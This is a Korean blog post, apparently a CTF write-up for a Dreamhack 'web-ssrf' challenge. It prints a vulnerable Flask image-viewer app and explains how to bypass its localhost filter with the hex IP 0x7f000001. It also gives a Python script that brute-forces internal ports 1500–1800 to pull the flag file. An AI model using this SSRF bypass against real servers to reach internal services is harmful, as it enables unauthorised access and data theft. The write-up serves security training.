웹해킹

web-ssrf

pororo 2026. 10. 19. 21:38
#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host,local_port), http.server.SimpleHTTPRequestHandler
)
    

def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

우리가 여기서 중점적으로 봐야할 부분은 flag가 app/flag.txt에 있다는것을 알고 있다 

그리고 img_viewer로 라우팅을 하면 안에 넣는 값에 따라 서버에서 그것에 알맞는 img를 출력하는 것을 알수 있다 또한 그 img에 

data값을 base64인코딩 하여 알려주게 되는데 그러면 플래그 또한 img에 data값을 base64인코딩 해야 나오는 것을 알수 있다. 

 

그리고 img를 가져오는 서버 즉 해킹 하는 컴퓨터에서 127.0.0.1즉 로컬 호스트(루프백 주소)인것을 알수 있다. 

하지만 현재 127.0.0.1이나 localhost가 들어 가도록 요청을 하게 되면 필터링으로 인해서 error.img를 띄우게 된다

또한 같은 주소 값이라도 port번호에 따라 주소가 다르게 인식 되게 된다.

 

원래라면 1포트부터 옳은 포트까지 계속 해야 하지만 local_port를 보면 1500~1800사이에 랜덤한 포트 번호를 갖게 되는것으로 나와있다. 그리하여 그러면 이걸 이용 하여 requeste문을 짜보도록 하자 

 

import requests 

url = "http://host3.dreamhack.games:20840/img_viewer"
 
for i in range(1500, 1801):
    find = f"http://0x7f000001:{i}/flag.txt"
    response = requests.post(url, data={"url" : find})

    if "REh7" in response.text:
        print(i)
        print(response.text)
        break

이런식으로 requests를 짜볼건데 여기에서 보면 우리가 실제로 request를 보낼 주소 url을 지정하고 랜덤하게 지정된 포트번호를 1500~1800까지 반복 하면서 확인을 할것인데 실제 request를 보낸 주소에서 flag.txt가 있는 로컬 호스트를 찾기 위해 find라는 변수를 이용 할것이다. 여기서 http://뒤에 있는 부분은 127.0.0.1을 16진수로 변환 한것이다.

 

그리고 request보낸것을 response라는 변수에 저장 한다 

그후 response.text 즉 request를 보냈을때 돌려받은 HTML코드를 받게 된다 그러면 아까 우리가 위에서 img에 data값이 base64인코딩 되어 있다고 했다. 그리고 플래그 형식은 DH{} 이므로 그 DH{ 를 인코딩 했을때에 나오는 REh7이 HTML코드내 에서 있어야 한다 그리하여 if문을 이용 하여 REh7이 반환된 HTML에 존재 한다면 그 port번호를 반환 하고 확인한 HTML코드를 출력 하게 된다. 

 

그러면 이제 나온 HTML코드에 img에 data값을 base64인코딩 된것을 디코딩 해주게 되면 플래그가 나오게 된다. 

'웹해킹' 카테고리의 다른 글

CSRF  (0) 2026.09.29
XSS  (0) 2026.09.29
session  (0) 2026.09.25
session_basic  (0) 2026.09.25
Cookie  (0) 2026.09.25